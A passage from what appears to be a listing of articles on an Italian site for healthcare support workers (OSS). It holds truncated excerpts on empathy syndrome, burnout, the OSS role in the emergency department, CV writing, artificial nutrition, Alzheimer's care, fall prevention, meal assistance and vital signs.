Adventista del Plata ha gettato luce sulla genesi della sindrome. La ricerca ha individuato una correlazione tra la stanchezza da compassione, l'attenzione emotiva e la riparazione emotiva. Attenzione Emotiva: Questa è la capacità di prestare particolare attenzione alle emozioni e agli stati d'animo degli altri. Chi soffre di questa sindrome dedica un'eccessiva attenzione alle emozioni altrui, finendo per essere sopraffatto dalla loro sofferenza. Scarsa Riparazione Emotiva: Questa è la capacità di attuare strategie che consentano di regolare i propri stati d'animo. Chi sviluppa la sindrome da empatia potrebbe mancare di tali strategie, rimanendo incapace di distanziarsi emotivamente per proteggere il proprio equilibrio. Questo concetto è simile a come gli psicologi, ad esempio, pianificano pause tra le sessioni intense per preservare il loro benessere emotivo. La sindrome da empatia, quindi, può svilupparsi in individui emotivamente sensibili e premurosi che agiscono come "fixer", ma che non dispongono delle strategie necessarie per la riparazione emotiva. Questo squilibrio può portare all'esaurimento emotivo, un aspetto essenziale della sindrome. Profilo del Soggetto con Iper-Empatia Chi soffre di eccesso di empatia manifesta una serie di comportamenti che vanno oltre la semplice sensibilità emotiva: Deterioramento dell'Identità e delle Abilità Sociali: La persona può sperimentare una perdita di senso di sé e difficoltà nelle relazioni interpersonali. Comorbilità con Altri Disturbi: L'iper-empatia può presentarsi insieme ad altri disturbi come compulsioni o psicosi. Labilità Emotiva: La persona può passare da profonde fasi depressive a momenti di eccessiva felicità. Dipendenza e Bisogno di Convalida: Coloro che soffrono di questa sindrome possono essere dipendenti dagli altri e cercare di risolvere costantemente i problemi altrui per sentirsi validi. Iperprotezione e Minaccia dell'Autonomia Altrui: Una tendenza a sovrapporsi e ostacolare l'autonomia degli altri. Difficoltà nel Lavoro: L'iper-empatia può interferire con la produttività e causare frustrazione sul lavoro. Passaggio allo... --- > Scopri come questa proposta potrebbe rivoluzionare il modo in cui l'assistenza sanitaria è erogata e come potrebbe affrontare le sfide attuali nel settore - Published: 2023-08-30 - Modified: 2023-08-30 - URL: https://ossinreparto.it/assistente-per-la-salute/ - Categorie: Legislazione Sanitaria Questo articolo esplora le ragioni alla base di questa proposta e le possibili implicazioni per il sistema sanitario nazionale. In un contesto di evoluzione continua nel settore sanitario, sta emergendo una proposta di legge che potrebbe apportare significative trasformazioni: l'istituzione dell'Assistente per la Salute. Questo articolo esplora le ragioni alla base di questa proposta e le possibili implicazioni per il sistema sanitario nazionale. Ripensare le Competenze e le Responsabilità Sfide Attuali dell'Operatore Socio-Sanitario L'operatore socio-sanitario svolge un ruolo cruciale nella cura degli individui, tuttavia, il panorama sanitario sta cambiando rapidamente, portando a nuove sfide: Evoluzione degli Infermieri: Le crescenti responsabilità degli infermieri richiedono un ripensamento delle competenze e delle responsabilità degli operatori socio-sanitari. Frammentazione delle Competenze: L'attuale frammentazione tra diverse figure socio-sanitarie, come l'operatore socio-sanitario e l'operatore socio-sanitario con formazione complementare, rende necessaria una maggiore coerenza. Un Nuovo Percorso Formativo Definire un Percorso Unificato Per affrontare queste sfide, si sta proponendo di introdurre una nuova figura: l'Assistente per la Salute. Questo nuovo approccio prevede: Un Percorso Formativo Unificato: L'Assistente per la Salute seguirebbe un unico percorso formativo a livello nazionale, garantendo coerenza nelle competenze. Collaborazione Intensificata: L'Assistente per la Salute collaborerebbe strettamente con professionisti sanitari e sociali, creando un'interazione più sinergica e coordinata. Implicazioni e Benefici Affrontare le Lacune del Personale Infermieristico La carenza di personale infermieristico è una preoccupazione urgente. L'introduzione dell'Assistente per la Salute potrebbe portare a: Soluzione per la Carenza: L'Assistente per la Salute potrebbe affiancare gli infermieri nelle attività quotidiane, contribuendo a colmare le lacune del personale. Risorse Aggiuntive: L'aggiunta di questa figura potrebbe alleggerire il carico di lavoro degli operatori sanitari, consentendo loro di concentrarsi su compiti più specializzati. Coerenza e Uniformità L'introduzione dell'Assistente per la Salute potrebbe portare a: Uniformità delle Competenze: Un unico percorso formativo garantirebbe competenze uniformi su tutto il territorio nazionale. Eliminazione dell'Abuso di Professione: L'Assistente per la Salute potrebbe contribuire a evitare l'abuso delle competenze degli operatori socio-sanitari. Investimento nella Formazione Nuove Opportunità e Collaborazioni Investire nella formazione professionale è fondamentale per il settore sanitario e socio-sanitario. Questo investimento può portare a: Opportunità di Carriera: L'Assistente per la Salute offre un nuovo percorso di carriera per coloro che desiderano contribuire all'assistenza sanitaria. Collaborazione tra Settori: La collaborazione tra istituzioni, aziende ospedaliere e università è essenziale per formare professionisti preparati e versatili. In molti mi avete chiesto, dato che a Settembre iniziate i corsi di formazione per prendere la qualifica di OSS, se intraprendere o no questo percorso formativo. La cosa che noi pensiamo non è altro che di andare avanti per la vostra strada e non porvi il dubbio di essere esclusi o rifare di nuovo un corso di un'altra professione, oppure di "buttare soldi inutili" per fare il corso OSS, o di essere assunti nel posto di lavoro del vostro sogno ma con la paura di essere licenziati. Al momento rimane ciò che è, una proposta di legge e prima di entrare in vigore deve passare per entrambe le Camere, essere approvato e poi entrare in vigore e comunque dopo l'entrata in vigore sicuramente sarà comunicata attraverso i media, inoltre non sappiamo se quello che stiamo dicendo sulla... --- > Scopri la verità sul burnout: Cause, effetti e strategie per superarlo. Leggi ora per ottenere preziosi consigli sull'affrontare questo problema diffuso. - Published: 2023-08-10 - Modified: 2023-08-30 - URL: https://ossinreparto.it/sindrome-di-burnout/ - Categorie: Psicologia Questo articolo esplorerà la natura del burnout, le sue cause e fornirà preziosi consigli su come affrontarlo. La salute mentale è un aspetto fondamentale del benessere complessivo di un individuo, come sottolinea la definizione di salute fornita dall'Organizzazione Mondiale della Sanità (OMS): "La salute è uno stato di completo benessere fisico, mentale e sociale, e non semplice assenza di malattia o di infermità. " La salute mentale, simile ad altri aspetti della salute, può essere influenzata da una serie di fattori socio-economici, e richiede strategie globali di promozione, prevenzione, trattamento e recovery attraverso un approccio di governo globale. Nell'ambito della salute mentale, una condizione rilevante e spesso trascurata è la sindrome di burnout, anche nota come "bruciatura" o "esaurimento". Questo articolo esplorerà la natura del burnout, le sue cause e fornirà preziosi consigli su come affrontarlo. Che Cos'è la Sindrome di Burnout? Secondo Hans Selye, lo stress è una risposta non specifica ad una qualsiasi richiesta fatta all'organismo. Selye ha indicato tali richieste con il nome di "stressori": ogni situazione, evento o agente che produce stress è uno stressore. Gli agenti stressanti possono essere interni o esterni: per esempio il dolore è uno stressore interno, mentre la perdita di lavoro è uno stressore esterno. Si definisce energia adattiva la forza interiore di cui un individuo si serve per rispondere o adattarsi allo stress. Seyle ha chiamato l'insieme delle reazioni agli stressori sindrome generale di adattamento (SGA). si possono distinguere tre stadi all'interno di questa sindrome. Nel primo stadio, di crisi o allarme, il corpo si prepara a gestire gli agenti di stress. Durante il secondo stadio, quello dell'adattamento o della resistenza, il corpo tenta di difendersi agli agenti stressanti mediante la risposta fight-or-fight. Il terzo stadio, caratterizzato dall'esaurimento, insorge se l'energia di adattamento è inadeguata a rispondere ad uno stress prolungato e opprimente. Tra le cause di forte stress si presenta il termine "burnout" che è stato riconosciuto come "sindrome" dall'OMS nel maggio 2019. Tuttavia, è importante chiarire che non si tratta di una malattia o una condizione medica specifica, ma piuttosto di un fenomeno occupazionale. Il burnout si sviluppa in risposta a uno stress cronico e mal gestito all'interno dell'ambiente lavorativo. I Segnali Precoci Il burnout si manifesta con una serie di segnali precoci, tra cui: Affaticamento persistente e spossatezza. Perdita di interesse e motivazione per il lavoro. Sentimento di inefficacia e scarsa realizzazione professionale. Aumento della distanza emotiva nei confronti dei colleghi e delle responsabilità lavorative. Difficoltà di concentrazione e prestazioni lavorative ridotte. Cause del Burnout Il burnout è una condizione complessa che coinvolge sia fattori individuali che aspetti legati all'ambiente lavorativo e sociale. Fattori Individuali Alcune variabili individuali che possono influenzare la suscettibilità al burnout includono: Età: sia i giovani, delusi dalle aspettative lavorative, che gli adulti più anziani sono a rischio. Stato civile: persone senza partner stabile possono essere più vulnerabili. Differenza di genere: le donne possono essere più esposte al rischio di burnout. Caratteristiche di Personalità Le seguenti caratteristiche di personalità possono contribuire al burnout: Tendenza a porsi obiettivi irrealistici. Personalità autoritaria o introversa, che può ostacolare la collaborazione in equipe. Concetto... --- > Scopri il vitale ruolo dell'OSS nel Pronto Soccorso, dalla valutazione dei pazienti al supporto nelle procedure mediche. - Published: 2023-08-10 - Modified: 2025-04-10 - URL: https://ossinreparto.it/oss-nel-pronto-soccorso/ - Categorie: Organizzazione Socio-Sanitaria Questo articolo esplorerà il ruolo vitale dell'OSS nel Pronto Soccorso, focalizzandosi su diverse fasi e situazioni in cui il loro contributo si dimostra prezioso. Quando si parla di Pronto Soccorso, spesso ci si concentra sugli infermieri e sui medici, ma un altro elemento chiave nel processo di assistenza è l'OSS, ossia l'Operatore Socio Sanitario. L'OSS svolge un ruolo fondamentale nella valutazione e nell'assistenza ai pazienti, lavorando in stretta collaborazione con il personale medico e infermieristico. Questo articolo esplorerà il ruolo vitale dell'OSS nel Pronto Soccorso, focalizzandosi su diverse fasi e situazioni in cui il loro contributo si dimostra prezioso. L'OSS nel Pronto Soccorso: Il Pretriage e la Collaborazione con l'Infermiere L'OSS svolge un ruolo chiave nella fase di pretriage, ossia la prima valutazione dei pazienti che arrivano al Pronto Soccorso. In stretta collaborazione con l'infermiere, l'OSS raccoglie informazioni importanti sui pazienti, come sintomi, condizioni mediche pregresse e gravità delle lesioni. Questa valutazione preliminare consente di assegnare una priorità ai casi e garantire un trattamento tempestivo in base all'urgenza. Posizionamento dei Pazienti L'OSS ha anche il compito di decidere il posizionamento dei pazienti all'interno del Pronto Soccorso. Dopo la valutazione iniziale, l'OSS può determinare se un paziente richiede immediatamente un posto in barella per ricevere cure intense o può essere temporaneamente posizionato in area di attesa. L'OSS negli Ambulatori: Supporto e Procedure Collaborazione con gli Infermieri Negli ambulatori, l'OSS continua a collaborare strettamente con gli infermieri per garantire un flusso efficiente delle attività. Supportano il personale infermieristico nelle varie procedure, contribuendo a rendere più rapida l'assistenza ai pazienti in attesa di visita medica. Procedure Mediche L'OSS è coinvolto anche in alcune procedure mediche, come la rilevazione dei parametri vitali dei pazienti. Assiste nell'operazione di vestizione e svestizione dei pazienti, preparandoli per le visite mediche. L'OSS nella Shock Room: Supporto Vitale Supporto ai Medici Nella critica shock room, l'OSS fornisce un supporto prezioso ai medici durante situazioni di emergenza. Possono aiutare nella cateterizzazione dei pazienti e nel massaggio cardiaco, contribuendo a stabilizzare i pazienti in condizioni critiche. Vi racconto un esperienza di un follower che ha voluto condividere la sua esperienza con noi. Era un giorno di ottobre del 2019 quando un paziente, con una determinazione misteriosa nel suo sguardo, fece irruzione nel Pronto Soccorso autopresentandosi. Il suo volto era pallido, ma gli occhi trasmettevano una volontà indomabile. Senza esitazione, lo condussi nella "camera calda," dove il cuore del Pronto Soccorso batte più forte, e ci preparavamo ad affrontare un'emergenza senza precedenti. Mentre gli infermieri si occupavano del paziente, somministrandogli adrenalina e scariche del defibrillatore automatico esterno (DAE), una corsa contro il tempo aveva inizio. Senza perderci d'animo, scaricai le mie paure e mi concentrati unicamente su ciò che doveva essere fatto. Dovevo mettere in pratica tutto ciò che avevo imparato e combattere per la vita di questo paziente sconosciuto. E così, con la forza che solo un urgente senso di responsabilità può conferire, iniziai a eseguire il massaggio cardiaco ininterrottamente. Lui era intubato, e ogni compressione del suo petto era come un atto di fiducia e speranza nella potenza del cuore. L'adrenalina e le scariche del DAE si susseguirono, una dopo l'altra, mentre io continuavo... --- > Una guida dettagliata per la realizzazione di un curriculum oss. Spiegheremo come creare un curriculum oss efficace. - Published: 2023-08-10 - Modified: 2025-04-01 - URL: https://ossinreparto.it/curriculum-oss-come-farlo/ - Categorie: Diventare OSS Il Curriculum Vitae (CV) per Operatore Socio Sanitario (OSS) è uno strumento essenziale per presentare le proprie competenze e esperienze nel campo dell'assistenza sanitaria. Il Curriculum Vitae (CV) per Operatore Socio Sanitario (OSS) è uno strumento essenziale per presentare le proprie competenze e esperienze nel campo dell'assistenza sanitaria. In questo articolo, forniremo una guida dettagliata su come creare un Curriculum OSS efficace, rivolto a un pubblico di non esperti che desiderano informazioni chiare e utili. Cosa è un Curriculum Vitae per OSS? Il Curriculum Vitae per OSS è un documento professionale che riassume la formazione, le competenze e le esperienze di un operatore socio sanitario. Questo CV è fondamentale per candidarsi a posizioni lavorative nel settore dell'assistenza sanitaria, in cui è richiesta una particolare attenzione e dedizione al benessere e alla cura delle persone. Tutte le nostre esperienze lavorative, corsi di formazione, lingua, ecc. non fanno altro che aumentare il punteggio ai concorsi. Cosa Includere nel Curriculum Vitae per OSS Dati Anagrafici Inserire il nome, cognome, indirizzo, numero di telefono, luogo di nascita e stato civile in modo chiaro e accurato. Esperienze Formative Elencare gli studi compiuti in ordine cronologico decrescente, partendo dal diploma o laurea più recente fino al diploma di scuola superiore. Indicare l'argomento della tesi di laurea, se applicabile. Esperienze Professionali Descrivere l'occupazione attuale e le precedenti, indicando ruoli, obiettivi, responsabilità e rapporti di dipendenza. Organizzare le esperienze in ordine cronologico decrescente. Specificare anche le competenze acquisite, metodi di lavoro, punti di forza e debolezza. Per coloro con diverse esperienze lavorative, è consigliato invertire l'ordine e iniziare con le esperienze lavorative più recenti. Conoscenza delle Lingue Straniere Indicare il livello di padronanza delle lingue straniere riguardo la comprensione del testo, conversazione e traduzione. Conoscenze Informatiche Elencare i linguaggi di programmazione, le competenze nell'uso di software principali e le esperienze con programmi grafici, gestionali e di database. Utilizzare elenchi puntati per una migliore chiarezza. Consigli per un Curriculum Efficace Personalizzazione: Adattare il curriculum alle specifiche dell'azienda o posizione desiderata. Sintesi e Chiarezza: Scegliere un testo chiaro, sintetico e ben strutturato per catturare l'attenzione del lettore. Ordine Cronologico: Organizzare le esperienze in ordine cronologico decrescente per facilitare la lettura. Aggiornamento Costante: Mantenere il curriculum sempre aggiornato con nuove esperienze, competenze e certificazioni. Un Curriculum Persuasivo ed Efficace Il curriculum per OSS deve essere breve ma impattante. Attraverso una presentazione chiara e scorrevole, il candidato può trasmettere la propria professionalità e dedizione all'assistenza sanitaria. L'uso di un linguaggio chiaro e senza connotati valutativi renderà il CV professionale e attraente per i selezionatori. Ricorda, il curriculum è la tua vetrina per nuove opportunità lavorative. Curalo con cura e precisione, e non dimenticare di adattarlo alle esigenze dell'azienda a cui lo invii. Un curriculum ben strutturato ed elegante farà la differenza nella tua ricerca di lavoro come Operatore Socio Sanitario. Non esitare a mostrare le tue competenze e aspirazioni, e fornire un quadro completo della tua professionalità. Per esempio nel mio curriculum da OSS ho messo prima la mia formazione, poi dove ho lavorato ed i miei corsi di formazione, infine tutto il resto. Il mio CV l'ho impostato in modo tale da far subito notare... --- > Scopri le differenze tra nutrizione parenterale e nutrizione enterale, due modalità di nutrizione artificiale. Conosci le indicazioni, le considerazioni e le caratteristiche di entrambe per fare la scelta corretta. - Published: 2023-07-16 - Modified: 2023-07-16 - URL: https://ossinreparto.it/nutrizione-artificiale/ - Categorie: Assistenza alla Persona Questo articolo esplorerà le differenze tra la nutrizione parenterale e quella enterale, illustrando le loro caratteristiche, le indicazioni e le considerazioni specifiche per ciascuna modalità. La nutrizione artificiale comprende due modalità principali: la nutrizione enterale e la nutrizione parenterale. Entrambe queste modalità sono utilizzate quando una persona non può assumere adeguatamente cibi e bevande per via orale, sia in modo autonomo che assistito. La nutrizione artificiale fornisce i nutrienti necessari attraverso metodi alternativi per soddisfare le esigenze nutrizionali del paziente. Questo articolo esplorerà le differenze tra la nutrizione parenterale e quella enterale, illustrando le loro caratteristiche, le indicazioni e le considerazioni specifiche per ciascuna modalità. La nutrizione artificiale, parliamo di Nutrizione Enterale La nutrizione enterale consiste nell'apporto di sostanze nutritive attraverso la via digestiva. I nutrienti vengono somministrati utilizzando un sondino che può essere inserito attraverso il naso (sondino nasogastrico) o la bocca. A seconda del punto in cui il sondino raggiunge il tratto gastrointestinale, si parla di sondino nasogastrico se raggiunge lo stomaco o sondino nasodigiunale se arriva al digiuno, che è la parte dell'intestino tenue. In alcuni casi in cui l'introduzione del sondino attraverso il naso o la bocca non è possibile, si può effettuare una gastrostomia o una digiunostomia, che consistono nell'inserimento di una sonda percutanea direttamente nello stomaco o nel digiuno. La nutrizione enterale segue il normale processo di digestione e assorbimento dei nutrienti nel tratto gastrointestinale. Gli alimenti o le formule nutrienti somministrati attraverso il sondino forniscono i nutrienti necessari per il paziente. Questa modalità di nutrizione si avvicina di più alla modalità di alimentazione naturale e può essere utilizzata quando il tratto digestivo del paziente è funzionante o parzialmente funzionante. I presidi utilizzati spesso per l’alimentazione sono i sondini nasogastrici di piccolo calibro collocato nell’area post-pilorica o nella parte superiore dell’intestino tenue. (con diametro di 8,10 e 12 Fr). Per supportare una nutrizione a lungo termine, generalmente per più di sei-otto settimane, si utilizzano i dispositivi per gastrostomia e digiunostomia. Una gastrostomia endoscopica (PEG) o una digiunostomia endoscopica (PEJ) si realizza utilizzando un endoscopio per visualizzare l’interno dello stomaco e si inserisce il catetere. L’incisione chirurgica che viene fatta viene dopo stretta con una sutura intorno al sondino o al catetere. Indicazioni per la nutrizione enterale La nutrizione enterale è indicata in diversi scenari clinici, tra cui: Pazienti con difficoltà a deglutire o masticare adeguatamente gli alimenti. Pazienti con problemi di assorbimento dei nutrienti nell'intestino tenue. Pazienti con patologie gastrointestinali che richiedono un riposo dell'apparato digerente. Pazienti che necessitano di un supporto nutrizionale a lungo termine. Considerazioni specifiche per la nutrizione enterale La nutrizione enterale presenta diversi vantaggi. È considerata più fisiologica rispetto alla nutrizione parenterale, in quanto segue il normale processo digestivo e di assorbimento dei nutrienti nel tratto gastrointestinale. Inoltre, è meno invasiva e meno costosa rispetto alla nutrizione parenterale. Tuttavia, ci sono alcune considerazioni specifiche da tenere presente nella nutrizione enterale. Alcune complicazioni possono verificarsi, come l'aspirazione polmonare, che si verifica quando il contenuto dello stomaco risale nell'esofago e nei polmoni, causando problemi respiratori. Altre complicazioni possono includere diarrea, occlusione intestinale o problemi di tolleranza ai nutrienti. È importante che il paziente venga monitorato attentamente durante... --- > Scopri tutto sul Morbo di Alzheimer, un disturbo neurodegenerativo, e l'assistenza offerta dagli Operatori Socio-Sanitari Specializzati (O.S.S.). - Published: 2023-07-16 - Modified: 2024-07-23 - URL: https://ossinreparto.it/morbo-di-alzheimer-assistenza-oss/ - Categorie: Assistenza alla Persona - Tag: Guide OSS L'Alzheimer è una malattia neurodegenerativa progressiva che colpisce il cervello, causando problemi di memoria, pensiero e comportamento. L'Alzheimer è una malattia neurodegenerativa progressiva che colpisce il cervello, causando problemi di memoria, pensiero e comportamento. È la forma più comune di demenza e può avere un impatto significativo sulla qualità della vita del paziente e dei suoi familiari. Fortunatamente, l'assistenza fornita dagli Operatori Socio-Sanitari Specializzati (O. S. S. ) può svolgere un ruolo cruciale nel supportare i pazienti affetti da Alzheimer. Morbo di Alzheimer: Cos'è e Come Colpisce Il Morbo di Alzheimer è una patologia cerebrale caratterizzata dalla progressiva degenerazione delle cellule cerebrali. Questo porta alla formazione di placche di proteine anomale, chiamate amiloidi, e grovigli di fibre nervose all'interno del cervello. Tali cambiamenti danneggiano la comunicazione tra le cellule cerebrali e provocano la morte delle stesse. Fattori di Rischio e Sintomi Iniziali L'invecchiamento è il principale fattore di rischio per lo sviluppo del Morbo di Alzheimer, anche se non è una normale conseguenza dell'invecchiamento stesso. La presenza di genitori o fratelli affetti da Alzheimer aumenta il rischio di svilupparlo. I sintomi iniziali dell'Alzheimer includono difficoltà di memoria a breve termine, confusione mentale e difficoltà nel completare attività quotidiane. Sintomi del Morbo di Alzheimer Il Morbo di Alzheimer presenta una serie di sintomi che possono variare in intensità e progressione da persona a persona. Di seguito sono elencati i sintomi comuni associati a questa malattia neurodegenerativa: Difficoltà di memoria a breve termine: I pazienti possono dimenticare recenti conversazioni, eventi o attività appena svolte. Problemi di linguaggio: Si possono verificare difficoltà nella ricerca delle parole corrette durante la comunicazione e la scrittura. Disorientamento spaziale e temporale: I pazienti possono sentirsi confusi riguardo a luoghi, date e ore, perdendo il senso dell'orientamento. Difficoltà di problem solving e ragionamento: Le capacità cognitive, come il pensiero astratto e la risoluzione dei problemi, possono essere compromesse. Variazioni nella personalità e nel comportamento: I pazienti possono mostrare cambiamenti nel carattere, diventando irritabili, ansiosi o deprimersi senza motivo apparente. Perdita di interesse e partecipazione a attività solite: La motivazione e l'interesse per hobby, lavoro o attività sociali possono diminuire. Difficoltà nell'esecuzione di attività quotidiane: Compiti come vestirsi, preparare i pasti o gestire le finanze diventano sempre più complessi. Problemi nel riconoscimento di volti e oggetti familiari: I pazienti possono avere difficoltà a riconoscere membri della famiglia o oggetti comuni. Cambiamenti nell'umore e nell'umore: L'umore può variare da un momento all'altro, con episodi di tristezza, irritabilità o ansia. Progressiva perdita di memoria a lungo termine: Con il progredire della malattia, la memoria a lungo termine, inclusi i ricordi di eventi passati, può essere compromessa. È importante sottolineare che la presenza di uno o più di questi sintomi non conferma automaticamente la presenza del Morbo di Alzheimer. Un'adeguata valutazione medica è fondamentale per una diagnosi accurata. Ruolo dell'Assistenza OSS nel Morbo di Alzheimer L'assistenza offerta dagli Operatori Socio-Sanitari Specializzati (O. S. S. ) svolge un ruolo essenziale nel supportare i pazienti affetti da Alzheimer e i loro familiari durante il percorso di cura. Essi forniscono una vasta gamma di servizi, tra cui: Assistenza Nella Gestione Delle Attività... --- > Scopri come prevenire il rischio di caduta attraverso valutazioni e interventi mirati. Mantieni un ambiente sicuro per la tua salute e il tuo benessere. - Published: 2023-07-16 - Modified: 2024-07-23 - URL: https://ossinreparto.it/prevenzione-cadute-ambiente-sicuro-salutar/ - Categorie: Assistenza alla Persona - Tag: Guide OSS Questo articolo fornisce una guida informativa per identificare i fattori di rischio, implementare interventi adeguati e creare un ambiente sicuro per prevenire il pericolo delle cadute. La prevenzione delle cadute è un elemento cruciale per garantire la sicurezza e il benessere delle persone, in particolare tra gli anziani e coloro che presentano condizioni di salute fragili. Le cadute possono provocare lesioni gravi e avere conseguenze a lungo termine sulla qualità della vita. Questo articolo fornisce una guida informativa per identificare i fattori di rischio, implementare interventi adeguati e creare un ambiente sicuro per prevenire il pericolo delle cadute. Fattori di Rischio delle Cadute Le cadute possono essere influenzate da diversi fattori che si possono dividere in: fattori intrinseci, relativi alle condizioni di salute del paziente, che comprendono sia i dati anagrafici che la patologia motivo del ricovero; fattori estrinseci, relativi agli aspetti organizzativi della struttura di degenza, alle caratteristiche ambientali ed ergonomiche. Ecco alcuni fattori di rischio comuni: Debolezza muscolare: La mancanza di forza e flessibilità nei muscoli può compromettere l'equilibrio e la capacità di reagire rapidamente in situazioni di emergenza. Problemi di equilibrio: Disturbi dell'equilibrio, come vertigini o labirintite, possono aumentare il rischio di cadute. Problemi di vista: La diminuzione dell'acutezza visiva o disturbi oculari non corretti possono ostacolare la percezione del pericolo e la navigazione sicura dell'ambiente circostante. Farmaci: Alcuni farmaci possono causare sonnolenza, vertigini o indebolire i riflessi, aumentando così il rischio di cadute. Ambiente fisico: Ostacoli, pavimenti scivolosi, scale ripide o maniglie instabili possono favorire le cadute. Valutazione delle Condizioni di Sicurezza Una valutazione accurata delle condizioni di sicurezza è essenziale per identificare i potenziali rischi di caduta e adottare misure preventive adeguate. Durante la valutazione, è importante considerare i seguenti aspetti: L'ambiente domestico: Controllare l'illuminazione, rimuovere tappeti scivolosi e garantire che i cavi e gli oggetti siano ben posizionati per evitare ostacoli. Il bagno: Installare maniglie di sostegno, tappeti antiscivolo e assicurarsi che la doccia o la vasca siano accessibili in modo sicuro. La camera da letto: Assicurarsi che il letto sia a un'altezza adeguata, posizionare una luce notturna e mantenere un accesso sicuro al bagno. Spazi esterni: Controllare l'integrità delle superfici di camminamento, come i marciapiedi, e rimuovere ostacoli o accumuli di foglie. il campanello o il pulsante di chiamata deve essere reso facilmente accessibile al paziente gli ausili per la deambulazione devono essere adeguati e sottoposti a corretta manutenzione. Interventi per Ridurre il Rischio di Caduta Una volta identificati i fattori di rischio e valutate le condizioni di sicurezza, è possibile adottare una serie di interventi mirati per ridurre il rischio di caduta: Esercizio fisico: Il potenziamento della muscolatura e l'equilibrio attraverso programmi di esercizio specifici possono contribuire a migliorare la stabilità e la mobilità complessiva. Revisione dei farmaci: Consultare il proprio medico per valutare se alcuni farmaci possono influire sull'equilibrio o causare sonnolenza e richiedere eventuali aggiustamenti. Ausili per la mobilità: L'utilizzo di bastoni, deambulatori o scooter può fornire supporto e aumentare la sicurezza durante gli spostamenti. Correzione delle condizioni visive: Sottoporsi a regolari esami visivi e indossare gli occhiali correttivi, se necessario, per migliorare la percezione e la consapevolezza dell'ambiente circostante. Educazione e consapevolezza: Informarsi su misure... --- > Scopri come gli Operatori Socio Sanitari possono fornire assistenza alimentare adeguata durante i pasti ai pazienti adulti e collaboranti. - Published: 2023-07-16 - Modified: 2025-04-10 - URL: https://ossinreparto.it/assistenza-alimentare-oss/ - Categorie: Assistenza alla Persona, Procedure Questo articolo fornisce consigli utili e informazioni importanti su come assistere correttamente i pazienti durante i pasti. Gli Operatori Socio Sanitari (OSS) svolgono un ruolo fondamentale nella preparazione e somministrazione dei pasti, e quindi nell'assistenza alimentare, ai pazienti adulti e collaboranti. Durante questa attività, è essenziale seguire procedure appropriate e attuare le giuste precauzioni per evitare errori che potrebbero avere conseguenze fatali per l'assistito. Questo articolo fornisce consigli utili e informazioni importanti su come assistere correttamente i pazienti durante i pasti. Gestione delle complicanze alimentari Gli operatori sanitari devono essere pronti a gestire eventuali complicanze legate all'alimentazione. Ciò include essere addestrati nelle tecniche di disostruzione delle vie aeree in caso di soffocamento e conoscere le procedure da seguire in caso di reazioni allergiche. Inoltre, devono essere in grado di riconoscere segni di disfagia o altri problemi di deglutizione e informare il personale medico per un'ulteriore valutazione e intervento. Le cause che portano a una limitazione o addirittura a una compromissione importante dell'autonomia, sono riconducibili a: condizioni fisiologiche; handicap fisici e mentali; condizioni patologiche. Ogni individuo ha un proprio stile alimentare: arriva in ospedale, in RSA o in altri realtà con le sue abitudini alimentari e poi vengono sconvolte dall'organizzazione generale che impone orari insoliti, menù inconsueti. Assume grande importanza, per il benessere del paziente, tenere in considerazione: il modo di preparazione e di presentazione dei cibi; la capacità della persona di affrontare la situazione nuova e le eventuali restrinzioni; le sue abitudini alimentari e i suoi desideri. Migliori pratiche per gli operatori sanitari durante l'assistenza alimentare Comunicazione efficace Una comunicazione efficace con i pazienti è fondamentale durante l'assistenza alimentare. Gli operatori sanitari devono fornire istruzioni chiare e rassicuranti ai pazienti, spiegando loro cosa aspettarsi durante l'alimentazione e rispondendo alle loro domande o preoccupazioni. Inoltre, dovrebbero incoraggiare i pazienti a comunicare qualsiasi disagio o difficoltà che potrebbero sperimentare durante l'assistenza alimentare. Rispetto della privacy e della dignità Durante l'assistenza alimentare, gli operatori sanitari devono rispettare la privacy e la dignità dei pazienti. Questo significa assicurarsi che i pazienti si sentano a loro agio durante l'alimentazione, mantenendo la confidenzialità delle informazioni personali e proteggendo la loro intimità. Gli operatori sanitari dovrebbero sempre chiedere il consenso del paziente prima di intraprendere qualsiasi azione o procedura durante i pasti. Monitoraggio e documentazione Un monitoraggio accurato e una documentazione adeguata sono essenziali durante l'assistenza alimentare. Gli operatori sanitari devono registrare l'apporto alimentare dei pazienti, tenendo conto di eventuali modifiche o restrizioni nella dieta prescritta. Inoltre, dovrebbero annotare qualsiasi problema o complicanza che si manifesti durante l'alimentazione, in modo che possano essere effettuate le necessarie valutazioni e azioni correttive. Una delle complicanze che si può manifestare è la difficoltà della deglutizione, ovvero la disfagia, che può derivare da una patologia o da un trauma dei nervi cranici. Per evitare l'inalazione del cibo nelle vie aeree, si deve accertare accuratamente, prima dell'alimentazione, la capacità dell'assistito di deglutire. Per le persone che hanno difficoltà a deglutire, favorire l'assunzione di cibi semisolidi e non liquidi. Somministrazione dei pasti Durante la somministrazione dei pasti, seguite le procedure e le linee guida generali per garantire un'assistenza alimentare sicura... --- > Scopri l'importanza di monitorare i parametri vitali da parte degli OSS. Temperatura corporea, frequenza cardiaca, pressione sanguigna e respirazione: come rilevarli e interpretarli. - Published: 2023-07-16 - Modified: 2025-09-14 - URL: https://ossinreparto.it/monitorare-parametri-vitali-oss/ - Categorie: Procedure, Assistenza alla Persona In questo articolo, esploreremo i principali parametri vitali che gli OSS devono conoscere e monitorare regolarmente. Comprendere l'importanza di questi parametri è fondamentale per rilevare eventuali anomalie e fornire un'assistenza tempestiva. Introduzione Gli Operatori Socio Sanitari (OSS) rivestono un ruolo fondamentale nell'assistenza ai pazienti, contribuendo a garantire il loro benessere e monitorando attentamente i parametri vitali. I parametri vitali sono misurazioni cliniche che forniscono informazioni cruciali sullo stato di salute di una persona. In questo articolo, esploreremo i principali parametri vitali che gli OSS devono conoscere e monitorare regolarmente. Comprendere l'importanza di questi parametri è fondamentale per rilevare eventuali anomalie e fornire un'assistenza tempestiva. Temperatura Corporea La temperatura corporea è un indicatore essenziale della salute di un individuo. Rappresenta l’equilibrio tra il calore prodotto e il calore perso dal corpo; si distingue tra temperatura interna, temperatura esterna o cutanea. La temperatura interna è la temperatura dei tessuti profondi del corpo. La temperatura cutanea o esterna rappresenta la temperatura della cute, del tessuto sottocutaneo e del tessuto adiposo. Gli OSS devono essere in grado di misurare la temperatura accuratamente utilizzando termometri appropriati. Le sedi più comuni sono per via orale o buccale. Se un paziente ha mangiato o bevuto qualcosa di freddo o caldo o se ha fumato, l'OSS dovrebbe attendere 30 minuti prima di rilevare la temperatura. Alcuni punti chiave da considerare riguardo alla temperatura corporea includono: La temperatura normale del corpo umano si aggira intorno ai 36,5-37,5 gradi Celsius. La febbre o anche piressia, è generalmente considerata quando la temperatura supera i 38 gradi Celsius. L'ipotermia, invece, si verifica quando la temperatura scende al di sotto dei 35 gradi Celsius. La misurazione della temperatura può essere effettuata 